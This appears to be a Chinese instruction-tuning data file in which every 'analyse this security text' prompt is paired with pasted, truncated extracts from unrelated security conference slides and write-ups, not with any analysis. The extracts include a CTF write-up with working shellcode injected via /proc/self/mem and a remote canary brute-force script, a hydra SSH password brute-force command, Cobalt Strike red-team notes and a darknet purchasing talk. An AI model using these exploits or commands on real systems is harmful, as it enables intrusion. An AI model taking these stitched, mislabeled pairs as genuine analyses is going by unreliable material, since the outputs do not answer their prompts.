Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Identifying, Exploring, and
Predicting Threats in the
Russian Hacker Community
Dr. Thomas J. Holt
Michigan State University
holtt@msu.edu
Dr. Max Kilger, Spartan Devils Honeynet Project
Dr. Deborah Strumsky, UNC-Charlotte
Dr. Olga Smirnova, Eastern Carolina University
Copyright 2009, all references to this work must
appropriately cite the authors.
Malware and Hacking
• The problem of malware and computer based theft
is increasing and becoming more complex
– The number of unique keyloggers and malware identified
by the apwg have increased during 2008
– CSI/FBI reports that businesses lost over $21 million due
to fraud, as well as over $10 million due to various
malicious software infections
– The Department of Justice argues that it is now more
profitable to engage in computer crime than drug
trafficking
Criminological Research
• Social science research has explored the malware
and hacking community to some degree
– Hackers and malware writers operate within a technology
focused subculture that values skill and ability
– They have relatively loose connections, and sometimes
work in teams to create programs or hack systems
• Few systematic examinations of the malware and
hacker community have examined social ties and
interests
– Generally no predictive research has been conducted
On-line Resources
• The malware and hacking community utilize on-line
resources that can be actively mined for information
• This study will examine the social networks of the
malware and hacking community in Russia and
Eastern Europe using data generated from social
networking blogs
– Blogs provide important information on:
• Current and emerging threats
• The relationships and behavior of attackers
• Locations, attitudes, beliefs
Self-Report Information
• Each LJ profile allows users to provide information on their:
– Location
– Education
– Biographies sometimes provide useful information on psychological
status of the user or whether the journal is friends-only
– ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

RealWorld CTF WriteUp By Nu1L
RealWorld CTF WriteUp By Nu1L
Pwn
QLaaS
Who Moved My Block
SVME
Crypto
Treasure Hunter
WEB
RWDN
Hack into Skynet
Pwn
QLaaS
可以修改/proc/self/mem
#include <sys/types.h>
#include <dirent.h>
#include <sys/types.h>
#include<stdio.h>
#include<fcntl.h>
#include<unistd.h>
typedef unsigned long long u64;
const unsigned char sc[]={106, 103, 72, 184, 47, 114, 101, 97, 100, 102, 108, 97, 80,
72, 137, 231, 49, 210, 49, 246, 106, 59, 88, 15, 5};
char buffer[0x4000];
int main(){
  char* x=malloc(0x3fff000);
  for(int i=0;i<0x3fff000;i++){
    x[i]=0x90;
  }
  memcpy(x+0x3fff000-sizeof(sc),sc,sizeof(sc));
  int fd=openat(dirfd(opendir(".")),"../../../../proc/self/maps",O_RDONLY);
  read(fd,buffer,0x4000);
  u64 base;
  char* rwx=strstr(buffer,"rwxp")-26;
  rwx[12]=0;
  printf(rwx);
  sscanf(rwx,"%lx",&base);
  printf("leaked base %p\n",base);
  int fdm=openat(dirfd(opendir(".")),"../../../../proc/self/mem",O_RDWR);
  lseek(fdm,base+0x1000,SEEK_SET);
  write(fdm,x,0x3fff000);
Who Moved My Block
⾸先整体浏览代码观察了⼀下流程
main→serveloop→handle_modern_connection
然后在⾥⾯会开⼀个⼦进程，执⾏
mainloop_threaded
⽤于接受后续的socket传输的信息
后续接受到的请求在封装之后传给另⼀个线程中由handle_request函数处理
分析后发现⼀个栈溢出，由于是fork的，直接多线程爆破canary与pie
}
#! /usr/bin/python2
# coding=utf-8
import sys
from pwn import *
from threading import Thread
context.log_level = 'error'
context(arch='amd64', os='linux')
def Log(name):
    log.success(name+' = '+hex(eval(name)))
def Connect():
    if(len(sys.argv)==1):     #local
        sh = remote("127.0.0.1", 10809)
    else:             #remtoe
        sh = remote("47.242.113.232", 49235)
    return sh
# 开启⼀个服务
def GetPort():
    sh = remote("47.242.113.232", 31337)
    # proof of work
    sh.recvuntil("sha256(\"")
    pre = sh.recvuntil('"+"?") starts with 26bits of ', drop=True)
    print(pre)
    ans = 0
    while(True):
        res = hashlib.sha256(pre+str(ans)).digest()
        if(res[0]=='\x00' and res[1]=='\x00' and res[2]=='\x00' and
ord(res[3])&0xC0==0):
            break...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Grifter and Metacortex
@grifter801
@metacortex
A TOUR THROUGH THE DARKSIDE OF THE
INTERNET
THESE GUYS
•
Grifter (@grifter801)
•
DEF CON Goon
•
Multiple time DEF CON Speaker
•
DC801 Founder
•
Founder of 801 Labs Hacker Space in SLC
•
Metacortex (@metacortex)
•
DC801 Organizer
•
Founder of the 801 Labs Hacker Space in SLC
•
Seen us running around: DEF CON, Black Hat, BSides-SLC, SaintCON, ToorCon, ShmooCon
WARNING!!
•
We WILL talk about some questionable content.
•
We  can  not  promise  that  you  won’t  be  offended.
•
Content may include but not limited to
•
Drugs
•
Pornography
•
Counterfeit Material
•
Murder for Hire (hit men)
•
Money Laundering
•
Arms
•
Hacking
•
Cracking
•
Profanity
HERE IS WHAT WE WILL TALK ABOUT
•
Tor
•
Connecting to it
•
Using it
•
Onion Sites
•
Bitcoin
•
How Bitcoin works
•
How to use it
•
Mining bitcoin
HERE IS WHAT WE WILL TALK ABOUT
•
How to find what you are interested in
•
Darknet Forums
• Hacker/Carder Forums
•
Darknet Search Engines
•
Darknet Marketplaces
•
Purchasing things you are interested in
•
How to stay anonymous when doing so
•
Tips and tricks to be more anonymous and secure than nubs
TOR*
•
The Onion Router
•
Primary Purpose: Anonymize Internet activity
•
Series of routers that anonymously forward traffic
• Routers only knowledgeable about 1 hop in either direction
* Caution: Search of software classifies  you  as  an  “Extremist”  in  the  eyes  of  the  NSA,  but  honestly,  what  doesn’t?
HOW DO YOU CONNECT TO THE TOR NETWORK
•
CLI Daemon
•
apt-get install tor
• /etc/tor/torrc
• /etc/tor/tor-tsocks.conf
•
Starts socks5 proxy that you can point applications towards
• Defaults to port 9050
•
TorBrowser
•
Simple executable
•
Launches portable Firefox browser with select plugins
CLI CONNECTION
•
/etc/init.d/tor start
•
Point Browser to 9050
•
Visit http://check.torproject.org for confirmation
•
Configure tor through /etc/tor/torrc
•
Set up hidden services
•
Set up the port to listen on
•
Setup basic access lists for allow...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

INSIDE THE “MEET DESAI” ATTACK:
DEFENDING DISTRIBUTED TARGETS
FROM DISTRIBUTED ATTACKS
@CINCVOLFLT
(TREY FORGETY)
HACKER, LAWYER
NAVIGATOR, PHYSICIST
NENA: The 9-1-1 Association improves 9-1-1
through research, standards development,
training, education, outreach, and advocacy.
www.NENA.org
IN NOVEMBER, 2016, A
TEENAGER FROM ARIZONA
LAUNCHED A TDoS ATTACK ON
9-1-1 CENTERS IN SEVERAL
STATES WITH 8 LINES OF CODE
AND A TWEET
MATHEMATICAL
ASIDE:
MR. ERLANG’S
MAGIC FORMULA
𝑷𝑷𝒃𝒃 = 𝑩𝑩 𝑬𝑬, 𝒎𝒎
𝑬𝑬𝒎𝒎
𝒎𝒎!
∑
𝑬𝑬𝒊𝒊
𝒊𝒊!
𝒎𝒎
𝒊𝒊+𝟎𝟎
𝑷𝑷𝒃𝒃 =
𝑬𝑬𝒎𝒎
𝒎𝒎!
∑
𝑬𝑬𝒊𝒊
𝒊𝒊!
𝒎𝒎
𝒊𝒊+𝟎𝟎
𝑃𝑃. =
𝐸𝐸0
𝑚𝑚!
∑
𝐸𝐸2
𝑖𝑖!
0
2+4
Pb is “Probabilty of Blocking”:
How often can a {call, agent, GET} fail?
This is a design criterion:
How much failure can we tolerate?
𝑃𝑃. =
𝐸𝐸0
𝑚𝑚!
∑
𝐸𝐸2
𝑖𝑖!
0
2+4
m is the # of identical, parallel resources
How many {lines, bps, servers} do we have?
This is a design constraint:
How many widgets can we afford?
𝑃𝑃. =
𝐸𝐸0
𝑚𝑚!
∑
𝐸𝐸2
𝑖𝑖!
0
2+4
E is the normalized ingress load
How many {calls, bps, GETs} do we expect?
This is a design estimate:
How much traffic is normal?
But: What does it mean to have a
“load” of calls, when their arrivals and
lengths are (mostly) random?
The “normalized” ingress load, E:
𝛌𝛌 is the # of calls per unit time
This is an observation or estimate:
How many calls do we expect to arrive
each second in our busiest hour?
𝐸𝐸 = 𝜆𝜆ℎ
The “normalized” ingress load, E:
h is the average holding time
This is an observation or estimate:
How long do our calls take to service,
on average?
𝐸𝐸 = 𝜆𝜆ℎ
𝑃𝑃. =
𝐸𝐸0
𝑚𝑚!
∑
𝐸𝐸2
𝑖𝑖!
0
2+4
High-Ingress-Rate Vulnerability:
For 𝐸𝐸 ≫ 𝑚𝑚, 𝑃𝑃. → 1
This is could be due to higher-than-
expected arrival rate, or longer-than-
expected holding time.
BEN GURION UNIVERSITY:
ESTIMATED 1.7053 TRUNKS
PER 10,000 POPULATION
75% SHARED / 9.5% WIRELESS-ONLY
NENA:
PROBABLY <= 12
WIRELESS TRUNKS PER PSAP
(ON AVERAGE)
EXAMPLE:
BG PAPER PREDICTS
~79-95 WIRELESS-USABLE TRUNKS
FOR DENVER (PROPER)
(663K POPS)
EXAMPLE:
DENVER REPORTS
32
~2.5-3X < PREDICTION
...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

apache overview
0x00
twf.soapache
0x01 helloworld
demo
apacheapache
apachehookexample
1 handler
httpd.conf
AddHandler example-handler .sum
apache.sumr->handler“example-handler”
handlerexample-handler
2
module AP_MODULE_DECLARE_DATA   example_module =
{
    STANDARD20_MODULE_STUFF,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    register_hooks   /* Our hook registering function */
};
example_moduleregister_hooks
register_hooks:
static void register_hooks(apr_pool_t *pool)
{
    /* Create a hook in the request handler, so we get called when a request arrives */
    ap_hook_handler(example_handler, NULL, NULL, APR_HOOK_LAST);
}
register_hooks ap_hook_handler(example_handler, NULL, NULL, APR_HOOK_LAST); ap_hook_handler
apacheapiap_*handlerexample_handler
example—handler
example_handler
static int example_handler(request_rec *r)
{
    /* First off, we need to check if this is a call for the "example-handler" handler.
     * If it is, we accept it and do our things, if not, we simply return DECLINED,
     * and the server will try somewhere else.
     */
    if (!r->handler || strcmp(r->handler, "example-handler")) return (DECLINED);  //r->handlerexample
    /* Now that we are handling this request, we'll write out "Hello, world!" to the client.
     * To do so, we must first set the appropriate content type, followed by our output.
     */
example_handler AddHandler example-handler .sum example-handler
3 example
1. AddHandler example-handler .sum handler
2. register_hooks
3. register_hooksap_hook_handlerhandler
4. ap_hook_handlerexample_handler
5. example_handlerhandler
0x02 apache
apache
1. httpd
2.
3. MPM
    ap_set_content_type(r, "text/html");
    ap_rprintf(r, "Hello, world!");
    /* Lastly, we must tell the server that we took care of this request and everything went fine.
     * We do so by simply returning the value OK to the server.
     */
    return OK;
}
4. apacheapachewritemd5apr
5. apr
apache
1.
2.
3. apr
0x03
url
demoap_hook_handlerapa...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Good Viruses. Evaluating the Risks.
Dr. Igor Muttik | Senior Architect | McAfee | Avert Labs®
2
Good viruses
• It is just technology – neither bad nor good
• What could make it dangerous:
— Lack of control
— Wide availability
• If it is dangerous – it’s bad
— “Atomic bomb” is bad
— “Splitting the atom”?
— “Chain reaction”? (worst because control is lost)
• Can a virus be written accidentally?
• Can a good virus get out of control?
3
Agenda
• “Good virus” idea keeps coming up
• Already.71 – a tool and a virus
(disassembly and operation)
• “Corrupted blood” epidemic in WoW (video)
• W32/Nachi – worm that exploited and patched a
vulnerability
• Pros and cons of harnessing replicating code
• Conclusions
4
Google search for “good virus” and “bad virus”
• People are very receptive to “a good virus” idea
• A lot of “bad virus” searches are emotional (“horrible” and
”awful”)
5
ALREADY.COM – a tool and a worm!
6
ALREADY.COM tool usage
@echo off
rem Start of AUTOEXEC.BAT file
rem Opening commands always execute
ALREADY.COM
IF ERRORLEVEL 1 GOTO skip
rem Things to do once a day go here
:skip
rem Following commands always execute
7
Already.71 – just 71 (0x47) bytes
8
Already.71 – get current date (1st block of 3)
9
Already.71 – compare (2nd block of 3)
10
Already.71 – write itself to disk (3rd block)
11
How does Already.71 spread?
Due to “current folder” concept.
12
A tool
13
Empty folder
14
Execution
15
Replicant!
16
What did we learn?
• Probability of a mistake grows when insecure
programming techniques are used:
— Self-modifying code
— Modifying other programs on disk or in memory
— Using exploits
• Insecure environments are unexpectedly common
17
“Corrupted blood” incident in WoW
18
“Corrupted blood” epidemic (Sep 2005)
• Zul’Gurub
instance
dungeon
(added in
WoW 1.7
for 60+ lvl
players):
19
“Hakkar the Soulflayer” monster
• Casts a
powerful
“Corrupted
blood”
spell
• Infectious!
• Epidemic
started
20
What went wrong?
• Timeline
— WoW 1.7 went out on 13 Sep 2005
— ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Please&
Stand&
by&this&
talk&
will&
start&
soon!&
DEF CON
2018-13-05 Beijing, China
From Dark
Visitors to
Valued
Allies.
You&may&have&seen&me&rob&a&bank&on&NatGeo&TV&show&Breakthrough&Season&2…&
!
!
!
!
!
!
!
!
!
!
!
!
!
!
!
!!!!!!!!!!!!!!!!!!!!!!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!WeChat:!JaysonStreet!Twitter:!JaysonStreet!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Website:!http://JaysonEStreet.com!
You&may&have&seen&me&on&the&news&discussing&Hacking&&&security&related&topics….&
!
!
!
!
!
!
!
!
!
!
!
!
!
!
!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!WeChat:!JaysonStreet!Twitter:!JaysonStreet!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Website:!http://JaysonEStreet.com!
Or&you&may&have&unfortunately&seen&me&in&your&server&room!...&&;-)&
!
!
!
!
!
!
!
!
!
!
!
!
!
!
!
!
!
!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!WeChat:!JaysonStreet!Twitter:!JaysonStreet!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Website:!http://JaysonEStreet.com!
What does it
mean to be a
Hacker?
What does it
mean to be a
Hacker?
!!!!!!!!!!!Cai!Lun!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Shen!Kuo!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Professor!Huang!Hongjia!
Hackers
provide a
valuable
service to
society by
discovering
vulnerabilities
& Reporting
them!
Why are there
no Black Hat
Bankers?!?
If something is
broken but not
discovered is it
less broken?
Companies
that help.
Resources
1. https://bugcrowd.com/
2. https://hackerone.com/
3. http://lutasecurity.com/
If something is
broken but not
discovered is it
less broken?
Resources
1. Microsoft
https://technet.microsoft.com/en-us/library/dn425036.aspx
2. Apple
https://techcrunch.com/2016/08/0...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Red Team Ops with CS: Operations
0x00 前言
CS的作者Raphael Mudge有2套公开视频，非常值得学习，一个是18年的《In-memory Evasion》，一
个是19年的《Red Team Operations with Cobalt Strike》。前段时间再次观看了《In-memory
Evasion》并作了相应笔记，而《Red Team Operations with Cobalt Strike》始终没有完整的看过一
遍，正好这次一口气搞完。学习一定要做笔记，能写出工具的一定要写成工具。
《Red Team Operations with Cobalt Strike》这个课程分为了9个部分，分别是：
Operations（运营）
Infrastructure（基础设施）
C2（命令和控制）
Weaponization（武器化构建）
Initial Access（初始化权限获取）
Post Exploitation（后利用）
Privilege Escalation（权限提升）
Lateral Movement（横向移动）
Pivoting（中转）
在第一部分运营中，作者先介绍了以邮件钓鱼为例子的整个攻击链和攻击链上防御手段，然后讲解了“逃
逸思想”，最后是解释了一些CS的运营相关的知识。
0x01 攻击链以及相应防御手段
作者以邮件投递钓鱼为例讲解整个攻击链，邮件钓鱼一直是APT中最常见的初始化权限获取手法，以此
为例非常合适，下图是我整理的整个攻击链以及相应防御手段：
真的是一路过关斩将，太不容易了，恶意邮件投递会经过以下防御手段：
如果你DMARC、DKIM、SPF等邮件发送服务器没有配置好，很有可能被反垃圾邮件和反钓鱼邮件
过滤自动拦截。
mail antivirus gateway or sandbox，沙箱技术会自动打开你的附件或者访问邮件中的url，然后判
断是否是恶意。
当邮件附件落地后，会有各式各样的终端安全产品（A/V）来一波静态的和简单的动态分析
如果主机上有应用白名单策略，你这个来源不明的可执行程序还需要绕过应用白名单策略，用什么
白加黑之类的手法。
植入体执行起来会有各种进程、线程、内存操作，然后反病毒产品，各种EDR就开始记录你的相关
行为，稍微不注意就触发恶意规则，然后被拦截上报
过了这一关，接下来就是出网问题，防火墙策略、代理上网、域名分类、域名白名单等等限制C2出
网。
Produced by AttackTeamFamily - Author: L.N. - Date: 2021-09-28
No. 1 / 5 - Welcome to www.red-team.cn
同时网络监控设备一直分析监控流量，稍微流量异常就可能触发告警。
即使过了这一次，威胁情报对域名和IP、样本等分析，例如C2的TeamServer被全网测绘识别了，
导致IP被标记。
植入体正常启动运行并回连以后，就是后利用了，例如：横向移动、截屏、键盘记录、本机信息收
集、网络信息收集等等，每一个行为都可能被EDR做侦测，被EDR云端的机器学习、人工分析给标
记为恶意。
要完成一次成功的红队行动，前期既要完整的bypass所有防御，后期还要思考驻留办法，防止被云端分
析样本存活时间太短。
0x02 逃逸哲学
作者讲到这个部分的时候，非常有共鸣，他有一下观点：
CS不是一个魔法棒，不可能对抗你所遇到的所有防御和场景。
但是：CS提供了选择+扩展
如何成功逃逸（Evasion）
理解你所使用的工具和它产生的行为（知己）
评估和理解防御机制（知彼）
做出一个最好的选择，然后执行（评估执行）
通过”如果成功逃逸“这3点总结，其实就是一个红队人员的成长路径，先学会理解使用各种攻击工具、然
后学习理解防御机制、再修改攻击方法bypass防御机制，最后在知己知彼以后做出一个最佳选择。红队
行动就是在不停的重复”了解目标、选择攻击方法、抉择并执行攻击方法“的过程中完成的。
0x03 CS运营相关知识
CS的使命和愿景
使命：弥补渗透测试工具和高级威胁恶意软件之间的差距
愿景：有用的、可信的对手模拟工具
培育身经百战的安全分析师
驱动客观的有意义的安全提升
Produced by AttackTeamFamily - Author: L.N. - Date: 2021-09-28
No. 2 / 5 - Welcome to www.red-team.cn
培训安全专业人才和高级威胁策略的决策者
分散操作
作者分享了一些最佳实践，用多个TeamServer做功能分离
作者建议最好分开搭建3个TeamServer用作不同目的:
Staging
用作初始化权限时候的Teamserver，可能你是...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Robert Imhoff-Dousharm
US Resident
Las Vegas, NV, USA
rimhoffd@shebangsoft.org
Professional Sound Byte -
Robert has been working with computer systems for over 11 years.  He has worked in the security
field for the better part of 4 years.  His most recent, has been working with credit card technologies,
and the security behind them.  He has recently been informed that he will be published in the
September 2003 issue of Transaction World Magazine (http//www.transactionworld.com), in regards
to credit card networks.  Currently Robert works with a major ePayment Gateway, and works as a
credit card security auditor privately.
Personal Sound Byte -
Living in Las Vegas, NV, USA Robert enjoys exploring sin city and every little sin it has to offer.  On
a sane level he also enjoys hiking at Red Rock Canyon, political talks at local coffee shops, and
spending as much time as he can with his 4 year old son, Orion.
Computer Sound Byte -
Robert tends to be as much a freak about computers as the next guy, well, at DefCon anyway.  He
currently hosts would be dot com sites from his bedroom, about 6 .com pages, including
His home page - http//www.hackajar.com
His Consulting firm site - http//www.shebangsoft.org
Dormant Saturn Enthusiasts site - http//www.saturnclubs.com
Friends Ever Quest guild site - http//www.guardianlords.com / http//www.abandonguild.com
(ironically abandoned!)
Friends would be "project" - http//www.vegascpu.com
His room looks like a small data center
2 cable modem uplinks
1 Wireless ISP uplink
2 Switches
1 802.11b "Hot Spot Ready" Wi-Fi WEP
2 DNS servers
1 Firewall (BSD)
2 Apache servers (1 used as pre-production and storage)
1 Test bed BSD box
1 "Primary" computer (the grocery getter')
1 Sun Ultra 5
1 IBM PS/2 Model 80 386 ALIVE AND KICKIN!!!
3 Computer unused (they need to adopt HDD's)
Complete with 3 Circuit breakers @ 50AMPS and UPS's to keep it all alive.
Now it may be true that he has no 'real' reason for running all this gear, it's still an e...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

So You Think Your Domain
Controller Is Secure?
Justin Hendricks
@Script_Happens
Abstract
Domain Controllers are the crown jewels of an
organization. Once they fall, everything in the
domain falls . Organizations go to great lengths to
secure their domain controllers, however they
often fail to properly secure the software used to
manage these servers.
This presentation will cover unconventional
methods for gaining domain admin by abusing
commonly used management software that
organizations deploy and use.
Presentation Materials
Visit https://scripthappens.azurewebsites.net/
for the full presentation, sample code, and
demo videos.


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Hacking Data Retention
Small Sister your Digital Privacy Self Defense
(brenno@smallsister.org)
Brenno de Winter, wgasa
• From the Netherlands
• Self proclaimed geek
• First program at age 5
• Focus on security, privacy
• Writing, training, consulting
• Wanna know more? Beer makes me talk!
Privacy and anonimity are
needed to safeguard
free speech
Program
• The wake-up call
• The issue at hand
• Small Sister can help
• Digital Privacy Self Defense
Program
•The wake-up call
• The issue at hand
• Small Sister can help
• Digital Privacy Self Defense
Defcon 2007
Thou shall not
like Segway’s
I got arrested for photographing
a railway working on a Segway
Cool guy!
Inﬂation of civil rights
• Cartoons taken ofﬂine without
judge’s order
• Cartonist jailed without a need
• Photographers hindered in
public space
• Laptop searches at the border
• Policing websites for forbidden
statements
• Demanding IP-address for
writing ticket
Monitoring in the
Netherlands
• Massive use of CCTV
• Public Transportation Card stores trips for
seven years
• System for paying road tax will photograph
license plates on many locations
• Anti-childporn “ﬁrewall” routes to police
Program
• The wake-up call
• The issue at hand
• Small Sister can help
• Digital Privacy Self Defense
Privacy & Anonimity
• Privacy: the level of control over your
information
• Anonimity: Doing something without the
other knowing your identity
EU’s Data Retention
• Directive
• Finding out who’s talking to whom
• Who’s e-mailing whom
• Who owns which IP and which phone#
• Use to prevent crime
• Determining groups of people
Issue for
• Journalists with whistle blowers
• Anonymous tipping to police
• Lawyers, doctors, priests, etc.
• Political activists
Other issues
• Most people don’t care, until ....
• Most PET’s are user-unfriendly
• Many people are unaware
• Few users make solutions less effective
• Border searches for user data
Program
• The wake-up call
• The issue at hand
• Small Sister can help
• Digital Pri...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

1
从⼀次实战，聊聊获取源代码的姿势
Liquid Files
LxLL ⼀般思路
LxLN 试⽤
LxLO 柳暗花明
LxLP 单⽤户模式
LxLQ 后台鸡肋命令执⾏（低权限）
EXP
进c神的圈⼦也挺久，还没有发过帖⼦，于是借最近的⼀个案例，来聊聊实战中获取源码的⼀些姿势。
（也是前段时间某次闭⻔分享的素材： hope you guys enjoy it~
Liquid Files是国外的⼀款⽹盘，官⽹：https://www.liquidfiles.com/
Liquid Files
2
是收费的⼀套系统，⽼外⽤得多。
咱们今天就来试试获取这套系统的源代码，并进⾏前期的攻击⾯评估（初步的代码审计）
正如我在⽂章《记⼀次Java Servlet实战审计 - 先知社区》中说的那样，获取系统的源代码主要可以从
⼏个⻆度来考虑：
1. 同类站扫⽬录。
a. 上Fofa搜索同类系统
b. 导出资产列表
c. ⽬录扫描。具体操作起来，就是使⽤ dirbuster 的字典 directory-list-2.3-
medium.txt 来扫，⼯具就随便⽤个顺⼿的， dirseach （ps：它的字典 dicc.txt 也好
⽤）
结论：因为本身这玩意⼉的发布形式都是镜像，统⼀部署的，当然不会有备份⽂件了。。。⽆果。
2. ⽹盘泄露。这套系统并不开源，⼀般国内的⼚家发版的时候为图⽅便，都会放了⼀些在⽹盘，简单
⼀搜就知道有⽆结果。
结论：⼈家⼚家本身有官⽹，没必要传⽹盘，麻烦。⽆果
3. Github、gitlab泄露。搜了下——您看看，这像源码么？
0x00 ⼀般思路
3
结论：⽆果。。。
也不绕弯⼦了，但凡看过官⽹就知道：这公司很耿直，直接提供了试⽤......
这也正是本⽂主要想介绍的技巧：利⽤⼚家的安装镜像，获取源代码。
那么我们直接注册试⽤，登录注册进到下载界⾯...
0x01 试⽤
4
舒舒服服的。随便下哪个都⾏，安上跑起来
填写 License Key
5
安装信息填好，部署在内⽹，直接开冲！
在系统⾥玩耍⼀番后，发现System下⾯有个功能叫Console，⼤喜——点进去⼀看：nmd，试⽤
License⽆法使⽤Console
6
可⻅，⼚家并不希望试⽤⽤户拿到root权限......此时，获取源码像是陷⼊了僵局
不过——且让我们来整理整理⼿上的信息：
1. 端⼝只开了80，443，222，连ssh端⼝都没开.....
2. 不对，默认不放开ssh的话，那系统⼀旦出问题了——连也连不上——岂不是直接烂在⾥⾯，不合适
吧。因此，感觉不怎么可能关闭ssh
3. 仔细⼀看，噢，原来这个222，就是ssh的端⼝
4. 好的，现在知道ssh开放了，但是root密码呢，翻了翻⽂档，没找到。。。
5. 于是爆破！ top10k 、 rockyou.txt ——给爷猛冲！
0x02 柳暗花明
Ruby
复制代码
Ruby
复制代码
Ruby
复制代码
80/tcp  open  http
222/tcp open  rsh-spx
443/tcp open  https
1
2
3
PORT    STATE SERVICE VERSION
222/tcp open  ssh     OpenSSH 7.4 (protocol 2.0)
MAC Address: 00:0C:29:4C:C9:82 (VMware)
1
2
3
hydra -t 4 -l root -P rockyou-15.txt -s 222 ssh://10.10.111.6
1
7
全部出错？不让我爆破？
不让爆破，那咋办，这镜像安在我的电脑上，就是我的了，爆破⼀下居然还要被拒之⻔外？
7. 突然想到——这套系统安装在VM中——相当于我可以物理接触它——再联想⼀下Windows不是开
机的时候可以通过进⼊安全模式来恢复密码吗——Linux应该也有这种模式吧？
于是，有了这第三节
下⾯的内容参考⾃http://c.biancheng.net/view/1041.html
0x03 单⽤户模式
● 很多新⼿当⾯对“忘记 root 账户密码导致⽆法登陆系统”这个问题时，直接选择重新系统。其实⼤
可不必，我只需要进⼊ emergency mode（单⽤户模式）更新 root 账户的密码即可。
8
如何进⼊单⽤户模式
现在，我们假设系统出现了问题，已经不能正常登录了。那么，如何进⼊单⽤户模式呢？⾸先需要重启
服务器，在 GRUB 读秒界⾯按任意键，进⼊ GRUB 菜单界⾯，如图所示
在想要进⼊单⽤户模式的 Linux 菜单上按"e"键，就会进⼊ GRUB 编辑界⾯，如下图所示：
找到 linux   /boot/vmlinuz-* 那⾏，江湖上传闻有两种常⻅的操作⽅式：
...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Tor: The Second-Generation Onion Router
Roger Dingledine
The Free Haven Project
arma@freehaven.net
Nick Mathewson
The Free Haven Project
nickm@freehaven.net
Paul Syverson
Naval Research Lab
syverson@itd.nrl.navy.mil
Abstract
We present Tor, a circuit-based low-latency anonymous com-
munication service. This second-generation Onion Routing
system addresses limitations in the original design by adding
perfect forward secrecy, congestion control, directory servers,
integrity checking, conﬁgurable exit policies, and a practi-
cal design for location-hidden services via rendezvous points.
Tor works on the real-world Internet, requires no special priv-
ileges or kernel modiﬁcations, requires little synchronization
or coordination between nodes, and provides a reasonable
tradeoff between anonymity, usability, and efﬁciency.
We
brieﬂy describe our experiences with an international network
of more than 30 nodes. We close with a list of open problems
in anonymous communication.
1
Overview
Onion Routing is a distributed overlay network designed to
anonymize TCP-based applications like web browsing, se-
cure shell, and instant messaging.
Clients choose a path
through the network and build a circuit, in which each node
(or “onion router” or “OR”) in the path knows its predecessor
and successor, but no other nodes in the circuit. Trafﬁc ﬂows
down the circuit in ﬁxed-size cells, which are unwrapped by a
symmetric key at each node (like the layers of an onion) and
relayed downstream. The Onion Routing project published
several design and analysis papers [27, 41, 48, 49]. While a
wide area Onion Routing network was deployed brieﬂy, the
only long-running public implementation was a fragile proof-
of-concept that ran on a single machine. Even this simple
deployment processed connections from over sixty thousand
distinct IP addresses from all over the world at a rate of about
ﬁfty thousand per day. But many critical design and deploy-
ment issues were never resolved, and the design has...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Jim
Knowledge factors
Ownership factors
Inherence factors
Password
Pass phrase
Personal identification
number (PIN)
Challenge response (the user
must answer a question)
ID card
Security token
Software token
Phone
Cell phone
Fingerprint
Retinal pattern
DNA
Signature
Face
Voice
Unique bio-electric signals, or
other biometric identifier).
 ID card—Fake Card
 ID card—Fake Card
 Security token—High Security
Protection
 ID card—Fake Card
 Security token—High Security
Protection
 Software token—Export Token
 Phone—Fake Phone Number
 ID card—Fake Card
 Security token—High Security
Protection
 Software token—Export Token
 Phone—Fake Phone Number
 Cell phone—Fake Phone Number
and Phone ID
 ID card—Fake Card
 Security token—High Security
Protection
 Software token—Export Token
 Phone—Fake Phone Number
 Cell phone—Fake Phone Number
and Phone ID
Static Password
Synchronous Dynamic Password
Asynchronous Password
Challenge Response
 Digital signature
 Digital signature
 Disconnected tokens
 Digital signature
 Disconnected tokens
 Connected tokens
 Smart Card
 Contactless tokens
 Bluetooth tokens
 Digital signature
 Disconnected tokens
 Connected tokens
 Smart Card
 Contactless tokens
 Bluetooth tokens
 Single sign-on software tokens
Fire and Forget
For Time based or event based
authentication. No Input data
confirm/check  function.
Fire and Forget
For Time based or event based
authentication. No Input data
confirm/check  function.
Auto Response
For data confirm/check function.
 Most connected Token designed as Auto
Response Type.
 One PIN Code Protection
 Digital signature
 Support data confirm/check function
Auto Response Token
 Do not use fixed input data format
 Add Trap for protection
 Add  Dynamic PIN for system Level
Fire and Forget Token
Unique ID / No entry for attack path /
Mixed Mode with Auto Response and Fire
and Forget.


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Staring into the Abyss:
The Dark Side of Crime Fighting, Security, and Professional Intelligence
Notes and Comments
WHY SECURITY SUCKS
